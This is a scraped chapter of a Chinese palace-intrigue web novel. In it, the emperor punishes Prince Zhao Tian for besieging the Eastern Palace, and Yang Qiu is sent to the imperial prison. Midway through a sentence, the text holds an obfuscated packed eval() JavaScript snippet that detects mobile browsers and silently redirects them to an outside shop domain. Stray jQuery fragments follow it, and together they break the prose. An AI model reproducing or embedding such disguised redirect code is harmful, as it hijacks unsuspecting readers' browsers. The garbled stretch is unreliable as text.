文趣网 > 都市小说 > 侯门金枝 > 209. 第 209 章
    皇帝到来,在场诸人皆是脸色一变,赵嘉宁抹了一把眼泪:“父皇!儿臣险些见不到您了!”

    她抽噎着扑在皇帝面前,声泪俱下地道:“儿臣与永安县主前来探望太子妃,谁知四哥不分青红皂白包围东宫,欲行不轨之事,请父皇为儿臣做主啊。”

    说罢,赵嘉宁便跪下行了大礼,一副皇帝不给她做主,她就不再起来的架势

    “在东宫内动刀动枪,你好得很。”皇帝已然是怒上心头,斥道:“简直是不知轻重!目无宫规!”

    “请父皇明察,儿臣是为了缉拿侵地案的重要犯人杨湫。”赵瑱慌忙跪下,颇为埋怨地瞧了一眼赵嘉宁:“嘉宁妹妹久居深宫,不知朝政要务,如果让钦犯脱逃,你能担待得起吗?”

    赵嘉宁当即抬起头来,不可置信看着赵瑱:“四哥,休要在这里强词夺理!这和你带人围困东宫有何关系?”

    赵瑱正欲再辩,被皇帝一声怒喝打断:“够了!”

    他冷冷扫了一眼赵瑱,看得人不寒而栗:“顺王犯上不敬,滚回府上思过。”

    赵瑱顿时脸色剧变,高声喊冤:“父皇!儿臣冤枉啊!儿臣只是想尽快破获侵地一案,不辜负父皇的期待啊!”

    “不论如何,顺王殿下今日此举,都是藐视陛下。”豫王妃难得斩钉截铁道:“儿臣想请父皇明鉴,顺王口口声声称,太子妃素来和永安县主亲厚,恐有包庇之嫌。”

    豫王妃说罢,赵嘉宁也立刻附和起来,赵瑱听着她们一句句诉说,冷汗顿时流了下来。

    他近来志得意满,认为东宫不过是自己囊中之物,听取了新城长公主的建议,更是生怕杨湫逃走。

    若是能顺势牵扯几个人进去,更是绝妙。

    “父皇,请父皇明察啊!”赵瑱如芒在背,惊恐地跪下去连连磕头:“儿臣绝无此意,只是不想放过钦犯,因此惊扰了太子妃,实在是——”

    “四哥说得轻巧,你何止惊扰了太子妃?”赵嘉宁狠狠地瞪他:“东宫被你闹得人仰马翻,一句不想放过朝廷钦犯,就能揭过此事?你将父皇置于何地啊!”

    赵瑱自知无力回天,也只能先咬牙认罪:“儿臣知罪!”

    “臣女参见陛下!”杨湫匆匆忙忙从寝殿内跑出,带着一脸惊慌之色,轨道在皇帝面前:“启禀陛下,太子妃方才受惊动了胎气,眼下,眼下恐怕——”

    “去传太医!”皇帝当机立断下令。

    皇帝移驾至信德殿,太医院在寝殿内忙忙碌碌,过了小半个时辰才出来禀报。

    “回陛下,太子妃受惊,动了胎气,好在并无大碍。微臣等已经帮太子妃稳住胎气,静养一段时日,便可无虞。”

    皇帝面色稍霁,转过脸看着大气都不敢出的赵瑱,又怒斥了一句:“不知天高地厚!朕要你办事,是要你来大闹东宫的吗!”

    赵瑱一时间也不敢还嘴,杨湫垂着眸子,上前一步说道:“陛下息怒。”

    杨湫顿了顿,缓缓地道:“臣女不知顺王殿下所言的侵地案是什么,但是事涉侯府清白,臣女还是要说一句,侯府从未左慈阿国如此大逆不道之事。”

    “杨湫,你还在这里信口开河!”赵瑱仿佛早就掌握了什么切实的证据一般:“我已经将定陵侯府一干人等收入天牢,你不要负隅顽抗。”

    “难道顺王殿下连我伸冤也不许吗?”杨湫毫不避讳地和他对视,道:“侯府没有做过这种事,我自然是问心无愧。顺王殿下若是有所疑虑,想要传唤我问询,那也是理所应当。

    如今殿下毫无缘由包围东宫,封锁太子妃寝殿,甚至以太子妃等人的安危来威胁我就范。

    敢问顺王殿下,是觉得东宫之内,太子妃做不得主,需要您来发号施令?”

    杨湫一通抢白,说得赵瑱脸色惨白:“你这是,这是污蔑!我没有!”

    “四弟既然做得出来,何必怕永安县主陈情?”赵瑛一脸幸灾乐祸的看着他,道:“带着你顺王府的府兵,不是很威风吗?”

    “你,三哥,你我兄弟之间,可不能被她离间了!”赵瑱眼珠‘咕噜’一转,立刻打起了感情牌来:“我并未做什么逾矩之事啊。”

    “可笑至极。”赵瑛冷斥道:“我等入宫,向来不带刀兵甲胄。四弟光明正大带着自己的府兵进入宫城,就是板上钉钉的事实,何必争辩?”

    赵瑱一时间也说不出什么狡辩之词,也只能紧咬着杨湫不放:“三哥为何向着永安县主讲话?她是朝廷钦犯——”

    “少给我扣这种莫须有的罪名,四弟。”赵瑛才不等他发作,立刻打断了赵瑱,朝着皇帝行礼,恳切地道:“父皇明鉴,四弟此时还在狡辩,显然是还不知罪。”

    皇帝幽幽地看了一眼赵瑱。

    赵瑱冷汗岑岑,双腿顿时一软,膝行着向皇帝而去,想要拉住皇帝袍袖:“父皇,儿臣冤枉啊!”

    皇帝正在气头上,重重抽回手,一巴掌打在赵瑱面上:“你放肆!”

    “儿臣知罪,儿臣知罪。”赵瑱也不敢躲闪,硬生生受了下来。

    等我日后登基,一定要报复回来,赵瑱心想。

    “父皇。”赵瑛又趁着机会开口:“四弟今日的狂悖行为,的确该让他好好思过。再让他主理侵地一案,只怕是多造冤狱。”

    “启禀陛下。”杨湫迅速的调整了面部表情,振振有词:“如果侯府有嫌疑,臣女愿意接受大理寺盘查,以证清白。今日之举,实在是欲加之罪何患无辞。倘若臣女屈服,只怕是——”

    杨湫的话尚未说完,已经被赵瑛接了过去。

    “父皇,刚才四弟说,已经将定陵侯府众人据传到堂,不会也是想围困东宫一样,把人请过去的吧?”

    赵瑛早就有心想出一口恶气,此刻就开始煽风点火:“啊呀,定陵侯好歹是杨太后的亲眷,是朝廷侯爵,怎么能这样动粗?”

    赵瑱支支吾吾地道:“父皇,儿臣,儿臣没有——”

    “哎呀,莫不是还有杨监正。”赵瑛故意道:“她可是父皇亲信,难不成也是这样被你的府兵押入天牢的?”

    赵瑱讷讷不敢言语,杨湫见此,更是瞪大了眼睛。

    “顺王殿下,侯府到底是何处得罪了您?”杨湫迅速转向皇帝:“陛下,若无明旨,顺王殿下绝不敢如此!请陛下明鉴,侯府绝无不臣之心啊!”

    皇帝额头的青筋一跳一跳,怒从心头起,道:“你看你做下的好事!朕让你查案,不是让你来肆意妄为的!”

    “父皇,求您再给儿臣一次机会吧!求您看在母妃的面子上。”

    赵瑱哀求着看向皇帝,故意提起过世已久的睦妃来:“儿臣自幼丧母,没有父皇必有,何以至今?儿臣只是想为父皇分忧,一时间行差踏错,请父皇恕罪啊!”

    见赵瑱声泪俱下,皇帝长叹了一声,终于是没再多

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713082|203441||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    说什么:“滚回王府思过!”

    赵瑱松了一口气,连忙跪谢皇帝,从信德殿内灰溜溜退了出去。

    杨湫仍然跪在原地,看着皇帝:“陛下,臣女——”

    “顺王既然查到定陵侯府与侵地案有所牵连,朕不可能熟视无睹。”皇帝冷冷地吩咐道:“曹央,送永安县主去天牢,等候大理寺查证。”

    曹央觑了一眼杨湫,也只能答应下来:“奴婢遵旨。”

    “臣女谢陛下隆恩。”杨湫自知皇帝不可能轻易放过此事,不过眼下既然摆脱赵瑱,多少有了些转机。

    “陛下,临行之前,可否让臣女再探视一次太子妃?”杨湫恳切地说道:“太子妃有孕,臣女实在放心不下,请陛下开恩。”

    说罢,她郑重其事地跪拜,皇帝似乎叹了口气,道:“去吧。”

    杨湫这才在曹央的带领下离开信德殿,往崔令闻的寝宫而去。

    “县主,明妃娘娘有话转告奴婢。”曹央低声道:“明薇姑姑已经离开掖庭,目下被送去康王府当差,请县主放心。”

    “请公公替我转告明娘娘,就说我多谢她,日后必定再入宫拜谢。”

    杨湫说完,朝着曹央微微一颔首,迈步进入寝殿:“劳烦公公稍待,我即刻就出来。”

    崔令闻依靠在床榻上,豫王妃还未离开,妯娌之间似乎正在说话。

    “静梧,情况如何了?”崔令闻坐起身来,急切地看着杨湫:“父皇可有说什么?”

    “陛下让顺王殿下回去思过,由大理寺彻查。”杨湫缓缓道:“太子妃平安无事,我便安心了。”

    崔令闻眉间仍然充斥着疑惑:“父皇就没有说别的?”

    “并未。”杨湫思忖片刻,还是略去了自己要进入天牢的事情:“时候不早,臣女便告退了。”

    “永安县主且慢。”豫王妃眉尖微蹙,叫住了杨湫:“你似乎还有所隐瞒。”

    “王妃好眼力。”杨湫轻叹一声,道:“陛下令我配合大理寺查证,也不是什么大事。”

    豫王妃点点头,道:“那便好。不至落入顺王手中,未尝不是好结果。”

    杨湫未置一语,再一次福身,悄然退出了寝殿。

    “这一遭要委屈县主了。”曹央叹道:“县主宽心,陛下明断是非,绝不至郁冤枉侯府。”

    杨湫只是颔首:“公公所言,我都明白的。”

    天牢近在眼前,杨湫深吸了一口气,举步迈了进去。

    天牢之中阴暗潮湿,杨湫被禁军领着,走到了深处的一间牢房。

    看来侯府众人并没有关押在一处,杨湫略微松了口气,却又止不住的担忧起来;其他人到底什么样了?

    皇城司那一头推进的不知如何,杨湫咬着唇,手指用力地搅在一起。

    也不知道二姐如今怎么样了。

    深夜时分,紫宸殿。

    “这便是你们这些日子,会同皇城司查证的消息?”皇帝手中拿着王十七的证词,看向了面前的人。

    本该在天牢的杨鸢衣着整齐,面不改色,拱手对皇帝道:“皇城司正在排查那名蜀中人士的线索。先前约见康王,至落霞禅院的人,也有了些眉目。”

    皇帝顿时追问道:“什么?”

    “京兆尹接到治下槐花巷里正报案,有一中年男子被杀。”杨鸢说道:“此人以代写书信为生,极擅模仿他人字迹。”